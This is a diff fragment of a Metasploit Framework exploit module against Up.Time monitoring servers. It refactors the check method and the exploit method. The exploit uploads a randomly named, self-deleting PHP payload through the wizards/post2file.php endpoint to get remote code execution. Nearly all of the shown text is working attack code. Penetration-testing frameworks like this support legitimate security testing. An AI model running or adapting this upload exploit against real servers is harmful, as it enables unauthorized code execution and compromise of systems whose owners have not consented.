|
1 | 1 | ##
|
2 |
| -# This file is part of the Metasploit Framework and may be subject to |
3 |
| -# redistribution and commercial restrictions. Please see the Metasploit |
4 |
| -# Framework web site for more information on licensing and terms of use. |
5 |
| -# http://metasploit.com/framework/ |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
6 | 4 | ##
|
7 | 5 |
|
8 | 6 |
|
@@ -55,32 +53,33 @@ def check
|
55 | 53 | 'uri' => normalize_uri(uri, 'wizards', 'post2file.php')
|
56 | 54 | })
|
57 | 55 |
|
58 |
| - if not res or res.code != 200 |
59 |
| - return Exploit::CheckCode::Unknown |
| 56 | + if res and res.code == 200 |
| 57 | + return Exploit::CheckCode::Appears |
60 | 58 | end
|
61 | 59 |
|
62 |
| - return Exploit::CheckCode::Appears |
| 60 | + return Exploit::CheckCode::Unknown |
| 61 | + |
63 | 62 | end
|
64 | 63 |
|
65 | 64 | def exploit
|
66 | 65 | print_status("#{peer} - Uploading PHP to Up.Time server")
|
67 | 66 | uri = target_uri.path
|
68 | 67 |
|
69 |
| - peer = "#{rhost}:#{rport}" |
70 | 68 | @payload_name = "#{rand_text_alpha(5)}.php"
|
71 | 69 | php_payload = get_write_exec_payload(:unlink_self=>true)
|
72 | 70 |
|
73 |
| - data = Rex::MIME::Message.new |
74 |
| - post_data = "file_name=#{@payload_name}&script=#{php_payload}" |
75 |
| - |
| 71 | + post_data = ({ |
| 72 | + "file_name" => @payload_name, |
| 73 | + "script" => php_payload |
| 74 | + }) |
76 | 75 |
|
77 | 76 | print_status("#{peer} - Uploading payload #{@payload_name}")
|
78 | 77 | res = send_request_cgi({
|
79 | 78 | 'method' => 'POST',
|
80 | 79 | 'uri' => normalize_uri(uri, 'wizards', 'post2file.php'),
|
81 |
| - 'data' => post_data, |
| 80 | + 'vars_post' => post_data, |
82 | 81 | })
|
83 |
| - if not res or res.code != 200 |
| 82 | + unless res and res.code == 200 |
84 | 83 | fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
|
85 | 84 | end
|
86 | 85 |
|
|
0 commit comments